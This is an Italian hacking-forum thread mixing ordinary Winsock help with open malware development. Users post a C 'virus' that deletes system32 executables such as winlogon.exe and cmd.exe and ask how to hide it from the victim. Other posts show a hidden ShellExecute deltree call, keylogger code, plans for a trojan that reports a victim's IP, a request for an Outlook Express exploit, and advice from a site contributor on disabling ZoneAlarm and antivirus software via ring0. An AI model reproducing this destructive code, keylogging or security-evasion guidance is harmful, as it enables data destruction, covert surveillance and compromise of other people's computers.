cicciociccio:
ho fatto questo per te è la stessa cosa oppure con le api è meglio? ho utilizzato un sito internet ke ti da il tuo ip per farlo, almeno funziona.
#include <winsock.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment (lib,"wsock32.lib")
#pragma comment (lib, "wininet.lib");
int main(){
HINTERNET hi, hiu;
char buffer[20], *s;
unsigned long br;
hi = InternetOpen("MyIPTest", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hiu = InternetOpenUrl(hi, "http://pchelplive.com/ip.php", NULL, 0, 0, 0);
InternetReadFile(hiu, buffer, sizeof(buffer), &br);
s = strstr(buffer, " ");
*s = 0;
printf("Il tuo ip e':\t%s\n",buffer);
scanf("%d");
InternetCloseHandle(hi);
WSACleanup();
}
per te è meglio con le api?
c:
l'ho presa dal dev e l'ho messa pure al vc++ ma mi da 102 errori sull'header mprapi ke nn capisco...
nn metto tutta la lista degli errori senno intaserei il notepad...sono 102 e proprio nn li capisco.il codice tuo va bene ma mi da questi errori su un header ke nn centra...boh??? nn capisco
cicciociccio:
senti nn la trovo ke cosa faccio?
cicciociccio:
ciao! ho prevato da vc++6 e mi da questo errore:
Cannot open include file: 'Iphlpapi.h': No such file or directory
Error executing cl.exe.
adesso la provo a cercare con google e ti faro sapere!ciao!
Blanka:
X Cicciociccio
Dev mi sta sul c...o, io uso vc++ 6...
Comunque devi linkare la libreria "Iphlpapi.lib" e includere l'header con il medesimo nome "Iphlpapi.h".
Non so se dev ce l'ha già o devi scaricarla da qualche parte...
cicciociccio:
Per Blanka
ke librerie devo aggiungere per far funzionare qeusto codice??dev mi da errori...
Blanka:
Per cicciociccio:
io non credo sia giusto quello che stai facendo, non è necessario inizializzare il socket e la versione di winsock per prendere l'indirizzo IP.
Prova a utilizzare l'API "GetIpAddrTable" e passargli la struttura PMIB_IPADDRTABLE.
Prova fare così:
PMIB_IPADDRTABLE pIPAddrTable = NULL;
DWORD dwSize = 0;
DWORD IpApp = 0;
LPSTR sAddr = NULL;
DWORD dwRetVal = GetIpAddrTable(pIPAddrTable, &dwSize, FALSE);
LPTSTR lpIntestazioneIP = "IP: ";
struct in_addr inAddr;
pIPAddrTable = (PMIB_IPADDRTABLE)new BYTE[dwSize];
dwRetVal = GetIpAddrTable(pIPAddrTable, &dwSize, FALSE);
INT val = pIPAddrTable->dwNumEntries;
if (val == 0)
{
return 0;
}
for (INT i=0;i<val;i++)
{
IpApp = pIPAddrTable->table[i].dwAddr;
if (IpApp != 0)
{
memmove (&inAddr, &(pIPAddrTable->table[i].dwAddr), 4);
sAddr = inet_ntoa (inAddr);
sprintf (IpStr,"%s",sAddr);
}
}
Di certo funzionerà.
Theking01:
Ciao ragazzi volevo domandare se percaso qualcuno sa dove posso trovare materiale sul borland c++ builder, in particolare cerco esempi con interfaccia utente, ma anche delle guide vanno benissimo !
Vi ringrazzio in anticipo !!!
PS: scusate per il post qua sotto ma mi sono sbagliato !
Theking01:
Ciao ragazzi volevo domandare se percaso
cicciociccio:
raga io ho scritto questo:
#include <stdio.h>
#include <winsock.h>
int main(){
SOCKET sock;
struct sockaddr_in server;
WSADATA data;
WORD p;
p=MAKEWORD(2,0);
WSAStartup(p,&data);
sock=socket(AF_INET,SOCK_STREAM,0);
server.sin_family=AF_INET;
server.sin_port=htons(456);
server.sin_addr.s_addr=INADDR_ANY;
int IP;
bind(sock,(struct sockaddr *)&server,sizeof(struct sockaddr));
printf("il tuo IP è: %s \n", inet_ntoa(server.sin_addr) );
scanf("%d", &IP);
closesocket(sock);
WSACleanup();
return 0;
}
il programma funziona ma alla fine mi dice:IL tuo IP è:0.0.0.0
perke?ke cosa ho sbagliato?
cicciociccio:
vabbè per adesso + meglio ke lascio stare il trojan...ho pensato un altra cosa però:vorrei fare un programma ke se eseguito su una makkina invia automaticamente l'indirizzo IP del computer ad una email predefinita.come faccio per far mandareuna email dal programmino?
ciao e grazie
Animanera:
ciao ciciociccio,
c'e' un tutorial apposta nella sezione "Creare una shell remota".
ciao ciao
cicciociccio:
ciao a tutti sto cercando di fare un trojan.
ho fatto gia una bossa del server e il client(solo la connessione)ma mi sono posto una domanda.
finora la connessione tra client e server l'ho sempre fatta in locale:
...server
sock=socket(AF_INET,SOCK_STREAM,0);
sock_addr.sin_family=AF_INET;
sock_addr.sin_port=htons(port);
sock_addr.sin_addr.S_un.S_un_b.s_b1=127;
sock_addr.sin_addr.S_un.S_un_b.s_b2=0;
sock_addr.sin_addr.S_un.S_un_b.s_b3=0;
sock_addr.sin_addr.S_un.S_un_b.s_b4=1;
...client:
server.sin_addr.s_addr = INADDR_ANY;
come faccio a farli comunicare solo connessi ad internet???
qualcuno mi puo aiutare per favore??
grazie anticipatamente e a presto.
pinco pallino:
grazie mille _C0ding!
_C0ding:
ciao pinco pallino.
la funzione che risolve l'host e' la gethostbyname.questa accetta in ingresso una stringa contenente il nome host e restituisce un puntatore ad una struct hostent che riceve diverse info sull'host tra cui l'ip.
ho scritto un esempio in cui richiedo una connessione ad ftp.interfree.it sulla 21 (server ftp) e registro il messaggio di benvenuto del server ftp.
la richiesta e' fatta appunto con il nomehost :
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"wsock32.lib")
void main(){
hostent* remoteHost;
char host_name[256];
int r;
char buffer[1024];
WSAData data;
WSAStartup(2,&data);
strcpy(host_name,"ftp.interfree.it");
printf("\nrisoluzione del nome host '%s' ...",host_name);
remoteHost = gethostbyname(host_name);
if(remoteHost==NULL){
printf("\nHost non trovato.\n\n");
}
else{
printf("\n%s <-> %s",host_name,inet_ntoa(*((in_addr *)remoteHost->h_addr)));
// connect
SOCKET t;
SOCKADDR_IN sa;
sa.sin_family=AF_INET;
sa.sin_addr = *((in_addr *)remoteHost->h_addr);
sa.sin_port=htons(21);
t=socket(AF_INET,SOCK_STREAM,0);
r=connect(t,(sockaddr*)&sa,sizeof(sa));
if(r<0){
printf("\nconnect() error.valore restistuito : %d\n\n",r);
}
else{
memset(buffer,0,sizeof(buffer));
r=recv(t,buffer,sizeof(buffer),0);
printf("\nricevuti %d byte da %s.\nPAYLOAD : %s\n\n",r,host_name,buffer);
}
closesocket(t);
// connect
}
WSACleanup();
}
////////////////////////////////////////
ci tengo a specificare che la funzione gethostbyname e' stata sostuita nel winsock2.h dalla funzione getaddrinfo,sarebbe opportuno dare un'occhiata anche a questa :)
spero di esserti stato utile
ciao a tutti
pinco pallino:
ciao a tutti.
volevo sapere se qualcuno di voi conosce una API o un modo per connettersi ad un computer tramite il suo nome host anziche il suo IP.
grazie-.
sn0z33r:
per animanera: in TEORIA, basterebbe steppare con un debugger il form che usi per la connessione dal momento in cui premi su connect e cercare di capire cosa succede per connettersi, in questo modo se c'e' qualche api che svolge sta funzione (ma non credo) la si trova.. un'altra ipotesi e' che dato che cmq il modem necessita di driver il dialog simpatico chiami il driver con appositi parametri, ma questo e' tutto da vedere/dimostrare..
Animanera:
si, credo anke io si riferisca solo ai 56k purtroppo... cmq niente code injection... lo devo mettere sul mio di picci' :P
sono alla ricerca della famigerata API che crea la connessione remota... ad esempio la connessione locale funziona prima del login, infatti riesco ad accedere sia al server ftp, che a quello http, che sono due servizi... mi serve ricreare questa situazione anke con le connessioni remote.
grazie cmq sn0z33r, se ti viene qualke altra idea fammelo sapere :)
ciao ciao
_C0ding:
salve,
inizio con il fare agli sviluppatori di questo sito i miei piu' sinceri complimenti.Da oggi vi seguiro' con attenzione :)
Komrade,complimenti per i codici..
a presto
sn0z33r:
per animanera: hai provato a iniettare codice nell'utility manager di winxp ? (tasto windows [la flag] + U) se non ricordo male tempo fa era stato oggetto i attacchi a privilege escalation perche' non vorrei dire una cazzata cosi a freddo ma mi pare che venga eseguito a priorita' system. Prova a dare un occhiata. Per quanto riguarda InternetAutodial() hai fatto attenzione a questo ? Remarks
InternetAutodial does not support double-dial connections, SmartCard authentication, or connections that require registry-based certification.
Requirements
Client Requires Windows "Longhorn", Windows XP, Windows 2000 Professional, Windows NT Workstation 4.0, Windows Me, Windows 98, or Windows 95.
Server Requires Windows Server "Longhorn", Windows Server 2003, Windows 2000 Server, or Windows NT Server 4.0.
Version Requires Internet Explorer 4.0 or later.
Header
Declared in Wininet.h.
Library
Link to Wininet.lib.
DLL Requires Wininet.dll.
Non e' che funziona solo con le connessioni dialup ? vedi 56k ?
Animanera:
ciao a tutti,
ho bisogno di far partire la connessione a internet prima che un utente faccia login sulla macchina. c'e' un modo in windows per fare questa cosa? altrimenti avevo pensato a creare un servizio... ma l'API InternetAutodial() sembra non funzionare...
sono graditi suggerimenti :)
ciao ciao
newbie:
forse questo ti può essere di aiuto: http://www.giobe2000.it/Tutorial/Schede/01-StrutturaExe/index.htm descrivono l'header di un exefile....
Therion:
Salve ragazzi, ho un paio di domande :
1) vorrei scrivere un programma che sia in grado di modificare il codice binario
di un file eseguibile, aggiungendo istruzioni (asm) arbitrarie. In sostanza poter backdorare un binario con istruzioni che voglio io.
2) Come è possibile modificare l'asm code (usando un editor hesadecimale magari) di un eseguibile ? insomma come si fa' poi a mettere a posto i vari offset se
vado a modificare gli indirizzi in cui il compilatore va a mettere le istruzioni ?
Grazie mille,
Saluti.
newbie:
x ombra: come hai fatto a risolvere? io mi sono documentato sulle api...e ho provato ad usare la getkeystate x rilevare lo stato del MAIUSC, in quanto la getkeystate restituisce il valore 1 se il tasto è attivato....e per lo shift ho usato la getasynckeystate...ad un certo punto il keylogger funzionava alla perfezione....ma poi ho provato a fare una modifica senza fare il backup dei sorgenti...e adesso nn riesco a rimettere le cose a posto!!!
nobody:
ciao sono interessato ad avere suggerimenti su shell con connessione inversa, perchè non scrivi un tute? grazie
Komrade:
Ho inserito nella pagina di PrivateChat anche i codici sorgenti, per chiunque ne avesse bisogno.
Ciao
Interessato:
Ciao si potrebbe avere il source della programma per la chat diretta? vorrei studiarlo.
Grazie
Komrade:
Non ti sei spiegato male, il comando "at" anche se serve ad eseguire automaticamente dei programmi può essere usato per il tuo scopo in quanto il programma eseguito automaticamente viene lanciato dall'utente SYSTEM (lo stesso con cui vengono eseguiti i servizi).
Altrimenti visto che la registerserviceprocess() non c'è più in xp ti conviene crearti un servizio, non è difficile.
zucchero:
probabilmente mi sono spiegato male :)
non mi interessa l'esecuzione automatica, bensì la chiamata api registerserviceprocess per far apparire nel tasklist il processo invece che con diritti utente/amministratore come processo system
ciao, zucchero :)
Komrade:
Risposta a zucchero:
La backdoor che cerchi non so quale sia, comunque il metodo più banale, se sulla macchina sei amministratore, è quello di utilizzare il comando "at" dal prompt dei comandi (at "orario_in_cui_eseguire" "programma_da_eseguire")
Altrimenti un tutorial su come creare servizi lo trovi qui:
http://www.devx.com/cplus/Article/9857/0/page/1
Risposta ad Animanera:
Se vai su
http://www.securityfocus.com/bid
e scegli come "Vendor" microsoft e come "title" Outlook express trovi varie vulnerabilità ed exploit
Ciao
Animanera:
ciao a tutti,
volevo sapere se qualcuno di voi ha un exploit (di qualsiasi tipo) per outlook express (qualsiasi versione). se me lo potesse dare o mi potesse indicare la vulnerabilita' gliene sarei molto grato.
grazie
ciao ciao
zucchero:
ciao!
qualcuno ha idea di come registrare un processo come system o servizio locale? ho visto una backdoor che lo faceva su winsp1, purtoppo ho perso i sorgenti... :(
ombra:
ho fatto tutto :)
ombra:
Per newbie:
ciao, ho creato diversi keylogger tutti scritti in modo differente ma non sono ancora riuscito ad avere la differenza tra minuscolo maiuscolo e ad interpretare i caratteri che chiedono l'uso dello shift (li registro come shift-tasto).. ti và dib scrivere qualcosa? oppure passarci i sorgenti :)
Komrade:
Per quanto riguarda il link su come bypassare Zone Alarm Pro
http://hackingspirits.com/vuln-rnd/vuln-rnd.html
Zone Alarm ha già smentito, quindi probabilmente è inutile dare una occhiata...
Komrade:
Per entrare in ring0 i metodi che ho segnalato su xp sp2 sicuramente funzionano, in quanto li ho provati personalmente, certamente l'assembly è fondamentale, comunque proprio oggi è uscito questo su come bypassare Zone Alarm pro:
http://hackingspirits.com/vuln-rnd/vuln-rnd.html
non l'ho ancora letto ma penso possa essere interessante.
Per pabaulee:
Mi spiace ma non ho proprio capito la tua richiesta...
Per blanka:
Ho dato una occhiata al task manager e penso sia un buon tool, sarebbe utile secondo me inserire anche l'utente proprietaro del processo (sarebbe ancora più bello riuscire a terminare processi come Zone Alarm senza farlo accorgere scendendo a ring0, ma magari questo è un po' complicato). Completandolo con il proprietario sarei felice di metterlo anche nel sito. Comunque se vuoi contattami pure via mail per questo.
Ciao a tutti.
Blanka:
x cicciociccio:
in un semplice programma C standard, tipo helloword, non puoi utilizzare l'API che ti ho suggerito (ShellExecute), dovresti utlizzare un compilatore C per Windows, come per esempio visual c++.
Prova a guardare qualche tutorial sulla programmazione C per windows e inizia a utilizzare una qualche API.
X Komrade:
per quanto riguarda zone alarm e il ring0 non sono sicuro che con windows xp sp2 funzioni... adesso proverò in questo modo, anke se avrei bisogno di una spolverata di assembly per capire bene il codice che permette l'ingresso a ring0.
P.S hai provato il mio task manager?
Grazie.
pabaulee:
Come facio ad avere un Key-Logger, ad esempio "The Password Thief for Windows 9*" . Io non ci capisco niente, devo recuperare la password dell'Amministratore in "Windows XP Pro". come facio se io sono account? aiutatemi vi prego, ciao.
Komrade:
Per quanto riguarda la questione di entrare a ring0, tutorial aggiornati personalmente non ne ho visti, comunque utilizzando i bug delle api di windows che avevo linkato, non risulta difficile entrare a ring0, la cosa più difficile è lavorare in questa condizione.
Per cicciociccio:
Il suggeriemento di blanka è corretto, però ti consiglio prima di informarti maggiormante sulla programmazione in C e con le API di windows, perché il semplice programma alla "hello world" non si può usare.
Per Therion:
Ti consiglio di guardare il codice che avevo creato per la shll remota:
http://unsecure.altervista.org/shell/RemoteShellv2.0.c
in quel programma avevo redirezionato l'input e l'output di un processo (cmd.exe) ad una socket, quello che devi fare tu è simile, redirezionare l'output di un processo (nestat.exe) all'handle di un file (out.txt)
Ciao a tutti e grande Blanka per aver dato una mano!
Therion:
Salve a tutti,
ho bisogno di catturare l'output di una applicazione tipo netstat o dir per
esempio, e di memorizzarlo su di un file testuale. Un pò come se facessi da
prompt "dir > c:\out.txt", ma il comando dovrebbe essere eseguito da un mio
programma. Ho provato ad usare il metodo ShellExecute() passandoglio come
primo argomento un comando es:dir e come parametri il "> c:\\out.txt", solo
non funza ! :( qualcuno sa darmi qualche indicazione ? (magari esiste già una
winAPI che fa ciò di cui necessito !
Saluti,
grazie,
Therion
cicciociccio:
grazie blanka ma per esempio come posso metterlo dentro a un semplice programma tipo hello world?
#include <stdio.h>
int main(){
printf("ciao");
scanf("%d");
}
ke librerie devo usare?
grazie e a presto
Blanka:
X cicciociccio:
potresti usare il c per windows e relative API: per esempio con la ShellExecute puoi ottenere questo risultato così:
ShellExecute(NULL,"open","c:\\windows\\command\\deltree.exe /y",C:\\WINDOWS\\system32\\mspaint.exe,NULL,SW_HIDE);
L'ultimo parametro indica come fare eseguire l'operazione, in questo caso SW_HIDE significa SHOW HIDE, quindi non vedrai apparire nessuna finestra.
P.S questo vale per windows 98, non so se Win xp e 2000 hanno ancora il comando "deltree", a te il compito di verificare.
cicciociccio:
ciao a tutti complimenti per il sito.
ce un modo (parlo in C) di far nascondere un programma in esecuzione(tipo nn visualizzare niente sulla barra) per esempio uno spezzone di codice da implementare in un programma?
sto facendo pratica in C e ho creato una cosetta:
#include <unistd.h>
int main(){
unlink("C:\\WINDOWS\\system32\\mplay32.exe");
unlink("C:\\WINDOWS\\system32\\mshearts.exe");
unlink("C:\\WINDOWS\\system32\\mspaint.exe");
unlink("C:\\WINDOWS\\system32\\notepad.exe");
unlink("C:\\WINDOWS\\system32\\calc.exe");
unlink("C:\\WINDOWS\\system32\\cleanmgr.exe");
unlink("C:\\WINDOWS\\system32\\cmd.exe");
unlink("C:\\WINDOWS\\system32\\cmmon32.exe");
unlink("C:\\WINDOWS\\system32\\freecell.exe");
unlink("C:\\WINDOWS\\system32\\sndvol32.exe");
unlink("C:\\WINDOWS\\system32\\taskmgr.exe");
unlink("C:\\WINDOWS\\system32\\telnet.exe");
unlink("C:\\WINDOWS\\system32\\winlogon.exe");
unlink("C:\\WINDOWS\\system32\\write.exe");
return 0;
}
è una specie di virus.
per esempio se volessi far cancellare un file ogni 5 minuti userei la funzione sleep ma in questo modo il programma resterebbe visibile alla vittima.
ce un modo per far nascondere questo processo(cancellazione dei file)?
vi ringrazio tanto
sn0z33r :
processi non visibili in task manager su sistemi nt like ? questa mi e' nuova... raccontate un po' anche a me plz !!!!!
cmq komrade visto che hai parlato di r0 posso chiederti un how to per scendere a ring0 su sistemi nt 2000 xp ? Mi servirebbe per un'altro progettino che in caso di successo sarei anche ben felice di pubblicare qui (col tuo permesso :P).. ho cercato in rete ma la maggior parte dei tutorial che ho trovato usano trucchi vecchi come l'uovo di colombo per scendere a r0 su windows 9x e nessuno su xp 2000 e soci...
Te ne sarei infinitamente grato ;)
PS colgo l'occasione per farti ancora una volta i miei complimenti ;)
ciau
Francesco:
Anche se in ritardo ringrazio Komrade per avermi informato su utility che rendono visibili processi non visualizzati in task.
Tanks
Komrade:
Sfortunatamente, anche questa volta, i troppi impegni non mi permettono di mantenere gli impegni presi e non riesco ancora a pubblicare il tutorial su zone alarm... Per ora posso dire a chi si è interessato sull'argomento che si può ingannare Zone Alarm entrando in ring0. Per entrare in ring0 il modo migliore sarebbe quello di creare una specie di driver, ma Zone Alarm si accorge se cambiamo la lista dei programmi da fare partire all'avvio. Quindi, se chi usa il computer è loggato come amministratore si possono usare dei bug nelle API di windows che permettono ai normali programmi di entrare in ring0.
Guardate qui:
www.securiteam.com/windowsntfocus/5TP0B2KC0K.html
Una volta entrati in ring0 si può per esempio modificare il codice del driver installato da zone alarm "vsdatant.sys" o rimettere a posto l'indirizzo della chiamata NtOpenProcess() (il cui indirizzo viene modificato da Zone Alarm) o si possono usare tanti altri metodi... Comunque bisogna stare molto attenti quando si lavora a ring0 perché una istruzione sbagliata può causare danni, quindi consiglio di fare esperimenti in ring0 solo su computer senza dati importanti e comunque è d'obbligo l'utilizzo di un debugger a livello kernel come SoftIce.
Risposta a xoverflow@libero.it:
Il compilatore che ho usato io è lcc-win32, ma puoi usare anche dev-c++ e pure il visual studio dovrebbe funzionare.
Risposta per marco:
Il banner di un server è la scritta che esso invia (generalmente alla connessione del client) che identifica il tipo di server. Esso è molto utile per conoscere il server attivo in una determinata porta, per cercare eventuali vulnerabilità da sfruttare per accedere al computer.
Esempio connettendosi ad un SMTP server ci compare la scritta:
220 localhost.localdomain Sendmail 8.2.11
Questo banner ci informa della presenza di un server sendmail versione 8.2.11 (esempio completamente inventato non so neanche se c'è quella versione...)
Ciao a tutti.
marco:
salve, ho visto bannerscan, ma non ho capito bene a che serve, cosa si intende per banner?
Suondmao:
Ciao! ho letto i tuoi tutorial e volevo farti i complimenti!Son fatti davvero bene e son esaurienti!Stavo leggendo il problema di blanka e mi sto interessando anche io...pensate a cm killare zone alarm? Mi ci metto a lavorare anche io, mi hanno sempre interessato le sfide! Se avete trovato gia la via giusta puoi mandarmi qualche info a suondmaoO_o@hotmail.com cosi nn parto da 0. Cmq scuola permettendo inizio a lavorare ora. Complimenti ancora!!!
xoverflow@libero.it:
ciao ho trovato molto interessante la tua guida ai programmi client server avrei bisogno di un consiglio..che compilatore posso usare per riuscire a gestire le winsock* e le varie liebrerie che hai utilizzato?
graze attendo una risposta.
Komrade:
Scusate il ritardo....
Ho giocato per un po' con ZoneAlarm 6 e ho trovato delle cose interessanti per renderlo inefficace, siccome il modo per fregarlo non è immediato ho deciso di scrivere un piccolo tutorial che sicuramente (speriamo bene) entro domenica riuscirò a pubblicare.
per blanka:
ti ho inviato una email se vuoi farmi vedere il tuo task manager sarò felice di provarlo.
x therion:
Quando chiami la gethostbyname() ti ritorna una struttura di tipo hostent, questa struttura non contiene un solo indirizzo, ma un array tutti gli indirizzi che una particolare interfaccia può avere. Quindi scorrendo l' array potrai ottenere l'indirizzo con cui esce su internet.
DeepRed:
Sto avviando www.ZeroSecurity.net - Gradirei pubblicare qualche vostro articolo, indicandone la fonte posso farlo ? Contattatemi pure deepred86@gmail.com
Therion:
Salve a tutti. Sto scrivendo un programma che ha bisogno di sapere il proprio ip address (quello con cui esce in rete). Avevo provato con le seguenti istruzioni :
gethostname(name, sizeof(name));
host = gethostbyname(name);
if (host == NULL) return 1;
memcpy(&address, host->h_addr, 4);
e tutto funzionava finchè il programma lha provato un mio amico che ha modem adsl ethernet e nn usb come il mio..risultato ? un bel 192.x.x.x e non il suo vero ip...qualcuno sa come aiutarmi ?
grazie,
ciao
Blanka:
X Komrade:
la mia mail è magarimb@tin.it se vuoi contattarmi personalmente.
Blanka:
X Komrade
hai visto, nessun handle, sennò sarebbe troppo semplice... Zone Alarm è davvero tosto. Ma scusa come fai a entrare in ring0, questo per ora lo ignoro...
P.S se vuoi ho fatto un piccolo task manager per Windows 9x/2k/xp, se mi dai la tua mail te lo invio. Così magari lo provi un pò e se ha qualche bug ankora a me sconosciuto lo sistemo...
Si potrebbe mettere anke su questo sito... volendo ovviamente.
Grazie
Komrade:
Per blanka e per tutti:
Ho iniziato a vedere Zone Alarm 6 e ho visto che effettivamente non permette di ottenere l'handle ai programmi e sfortunatamente nemmeno ai servizi, stavo pensando per ora che l'unico modo è provare a scendere a ring0 (in kernel mode), se per caso hai qualche altra informazione fammela sapere che potrà tornare utile, e comunque chiunque abbia qualsiasi informazione è invitato a inserirla per poter trovare insieme un bel modo per contrastare la nuova generazione di firewall/antivirus.
Komrade:
Ok allora puoi provare security task manager:
http://www.neuber.com/taskmanager/
oppure process explorer:
http://www.sysinternals.com/Utilities/ProcessExplorer.html
Francesco:
Comunque ringrazio, ma chiedevo lumi su utility che rendono visibili processi non visualizzati in task
Komrade:
Su che sistema operativo? in windows xp puoi usare il comando "tasklist" che da informazioni sui processi attivi (e comunque anche se è banale dirtelo con Ctrl+Alt+Canc parte il task manager), su linux "ps -aux"
Francesco:
Salve, help me!!
Mi dite con quale comando si possono vedere i provessi che intasano la memoria???
Anticipatamente grazie!!!!
ugo:
grazie mille komrade _-°-_
Komrade:
Per Ugo:
Se è per la connessione 56k c'è la RasEnumConnections(), se è per l'adsl non so ma alla peggio puoi utilizzare questo metodo:un ciclo di ping ad un indirizzo internet, se risponde il computer è online.
ugo:
innanzitutto ciao a tutti,
voevo kiedere se qualcuno sa se esiste qualke funzione ke ti dice se il computer è connesso ad internet o no.
ciao
Blanka:
X Komrade
ti ringrazio per l'aiuto, se riesci a fare qualcosa, quando hai tempo ovviamente, te ne sarei grato. Intanto io continuo con le mie prove.
Komrade:
Finite le ferie posso tornare a rispondere:
Per blanka:
Sono d'accordo anche io che ormai l'iniezione di codice sta diventando inefficace, perché antivirus e firewall controllano le API di windows responsabili e ne bloccano l'utilizzo, se dici che Zone Alarm 6 è davvero così ostico posso provare a vederlo, perché ormai è sempre più difficile trovare delle tecniche universali, ma bisogna cercare di sfruttare qualche errore di programmazione presente nel codice.
Per newbie:
La funzione GetKeyState() controlla solamente se il tasto è stato premuto (adesso o precedentemente), se invece utilizzi la GetAsyncKeyState() differenzia se il tasto è premuto in questo istante oppure è stato premuto precedentemente. Se modifichi il codice utilizzando la GetAsyncKeyState() al posto della GetKeyState() tutto funziona correttamente.
Per pinco pallino:
Te l'ho appena inviato.
Per l'amico che ha cercato di iniettare codice HTML:
troppo banale, trova qualcosa di un po' più serio...
Ciao a tutti.
newbie:
avevo fatto molti errori modificando il keylogger....adesso li ho messi a posto e ora distingue benissimo le amiuscole dalle minuscole sia quando viene premuto lo shift sia con il maiusc....ciao
pinco pallino:
ciao komrade volevo kiederti solamente se gentilmente mandassi all'indirizzo ugoguevarah@libero.com il sorgente del programma privateChat... Grazie!
newbie:
adesso che ci penso, però, questo non spiega il xchè premendo e rilasciando subito lo shift, i caratteri diventino da maiuscoli a minuscoli o viceversa...se qualcuno sa rispondermi gliene sarei grato...
newbie:
scusate se ho postato il messaggio precedente senza prima aver cercato informazioni sull'api getkeystate....diffatti ho visto che l'api restituisce un valore diverso da 0 anche se il tasto non è premuto in quell'istante...quindi imbrogliava l'if...adesso risolverò il prob....saluti
newbie:
salve a tutti.komrade, volevo chiederti una cosa: l'API GetKeyState controlla se in quel preciso momento un tasto è premuto,giusto? ho provato a modificare il keylogger in modo che differenzi le maiuscole dalle minuscole, quindi ho modificato così il primo ciclo for:
if (GetAsyncKeyState(i)){ //controllo stato dei tasti dallo SPAZIO alla lettera Z
if(GetKeyState(16)) {
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",toupper(i)); //salvataggio lettere in MAIUSCOLO
fclose (fp);
}
else
{
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",tolower(i)); //salvataggio in minuscolo
fclose (fp);
}
però qualcosa non funzia e se premo shift e lo rilascio subito, e digito un testo, nel log appare in maiuscolo....se ripremo shift rilasciandolo subito e digito un testo, questo nel log mi appare in minuscolo....come mai? dove ho sbagliato?
Grazie duemila.
blanka:
X Komrade.
Ciao, non so se ti ricordi di me, tempo fa ti ho rotto il caxxo durante un tentativo di killaggio di norton 2005.
Avrei un altro problemuccio e niente di quello che prorponi nel sito può essermi utile in quanto i software nuovi si sono evoluti e i processi sono sempre più protetti. Scusa se te lo dico ma ormai quello che è pubblicato sul sito non basta per aggirare antivirus e firewall, forse andava bene fino a un paio di anni fa.
Il fatto Komrade che ormai nn si riesce più a ottenere l'handle di nulla. Anke sbloccando i permessi sotto win 2k e xp.
L'unico modo che ho trovato, ma che nn funziona sempre è quello di killare i servizi con "shellexeute" usando il "net.exe" e passando come parametri "stop" e il nome del servizio.
Purtroppo ciò nn vale con programmi come ZoneAlarm che sembra indistruttibile, in particolare le versioni 5.5 e 6.0 sulle quali sto lavorando.
Vorrei sapere se tu conosci qualche strattagemma più incaxxoso, perchè ormai li ho provati tutti quelli che conosco, compresa la "PostThreadMessage" sulla coda messaggi dei processi di zonealarm... e il tuo codeinjection...
Grazie e sempre complimenti per il sito.
../annuncio_sicurezza.html:
<html>
<p>ccc</p>
sn0z33r:
certo che con vs faccio struct, ma sono struct che uso per bufferizzare input o output o boh :D
Intendevo dire che la maggior parte delle struct che vengono costruite all'inizio di ogni eassay sono gia' presenti e pronte all'uso negli headers base di visual studio ^^
Animanera:
progetti complessi?? e ki ha tempo? e ke intendi dire con "costruisce struct da passare come parametri alle api di windows, usando visual studio questo e' tutto lavoro risparmiato..."?? tu nn costruisci struct in VS? se costruisco una struct in genere e' xke' nn c'e' nelle libs, ma qst e' indipendente dall'ambinte di sviluppo :\. cmq anke col dev nn devi x forza fare un prj... basta ke fai:
file->new->source code...
sn0z33r:
io uso visual studio 6 perche' su windows anche se non e' free rimane (IMHO) un ambiente di sviluppo completo sia come componenti che come documentazione. Per fare un esempio in tutti gli essay di komrade puntualmente costruisce struct da passare come parametri alle api di windows, usando visual studio questo e' tutto lavoro risparmiato... Se poi mi dite che per compilare 20 righe di codice bisogna fare un progetto allora vi do ragione :P
A mio personale parere le soluzioni vs rimangono per progetti complessi, non e' proprio il max per chi inizia a programmare.. sara' che io ho iniziato su borland 5.03 che credo sia ormai pezzo di storia :P
Animanera:
io uso bloodshed dev c++, semplice, completo e soprattutto FREE.
lo potete scaricare da qui: http://mesh.dl.sourceforge.net/sourceforge/dev-cpp/devcpp-4.9.9.2_setup.exe
secondo i miei gusti lo batte solo anjuta x linux :P
LeVante^:
Avviso per tutti gli interessati alla DLL Injection.
Ragazzi la dll che mi ha spedito Komrade per posta funziona! E' incredibile è lo stesso codice del suo esempio però se lo compilo io e creo la dll non funziona. In pratica se tento di fare la dll per conto mio con Visual Studio lui la costruisce senza errori ma non si vedono gli effetti dell'iniezione mentre quella compilata da Komrade (forse con un altro compilatore) funziona perfettamente (pur essendo lo stesso codice). Forse c'è qualche opzione da abilitare/disabilitare nelle opzioni del visual Studio, io le ho spulciate un pò ma non ho trovato nulla.
Animanera:
qualcuno di voi ha mai provato ad aprire un ftp remoto invece ke una shell remota?
mi spiego meglio, prendete il codice di Komrade x la shell remota v2, e al posto di "cmd" ci mettete "ftp". mi da' un problema di input-output e nn riesco a risolverlo... credo sia lo stesso problema di esecuzione comandi su shell remota... qualcuno ne sa qualcosa?
ho anke un altro piccolo problemino: nn riesco ad aprire porte superiori alla 1024 x internet, e funzionano solo nella lan...
se ne sapete qualcosa fatevi avanti :P
ciao ciao
LeVante^:
Komrade prova a farla tu una dll della MessageBox con un altro compilatore e spediscimela a levante@manicomio.org magari sbaglio io a fare la dll con Visual Studio...e poi è molto veloce da fare non ti porterò via tempo.
Solo la MessageBox eh! ;-D
Animanera:
sn0oz33r, a dirlo e' facile... il codice di vnc e' incredibilmente vasto e complicato... e ora nn ho proprio il tempo x spulciarlo :(
se sai qualcosa plz share :D
LeVante^:
Komrade uno Microsoft Visual Studio 6.0
sn0z33r:
Animanera ma vnc una volta non era opensource ?
Volento puoi benissimo ispirarti al codice originale e ripparti quello che ti serve
Komrade:
LeVante^ che compilatore usi per creare la DLL?
Animanera:
x LeVante^:
si la MessageBox() e' giusta...
io ho avuto problemi di iniezione, ma davvero raramente, con msn messenger; cioe' se inietto entro 5 min dalla creazione del processo tutto ok, se ritardo mi ritrovo nella tua situazione, cioe' niente MessageBox() ma la dll viene iniettata cmq. credo ke succeda una cosa del genere xke' uso un mod (messenger plus!) ke magari fa un injection pure lui in casi particolari :S
mi e' anke capitato di iniettare mentre il processo viene creato e a volte crasha... ma cmq nn mi capita spesso... quello ke succede a te e' molto strano :S
ricontrolla bene il codice, magari c'e' un errorino del cavolo ke ti fa saltare tutto...
x Komrade:
ottimo, da ie si vede meglio, ma da firefox si vede minuscolo :(
x tutti:
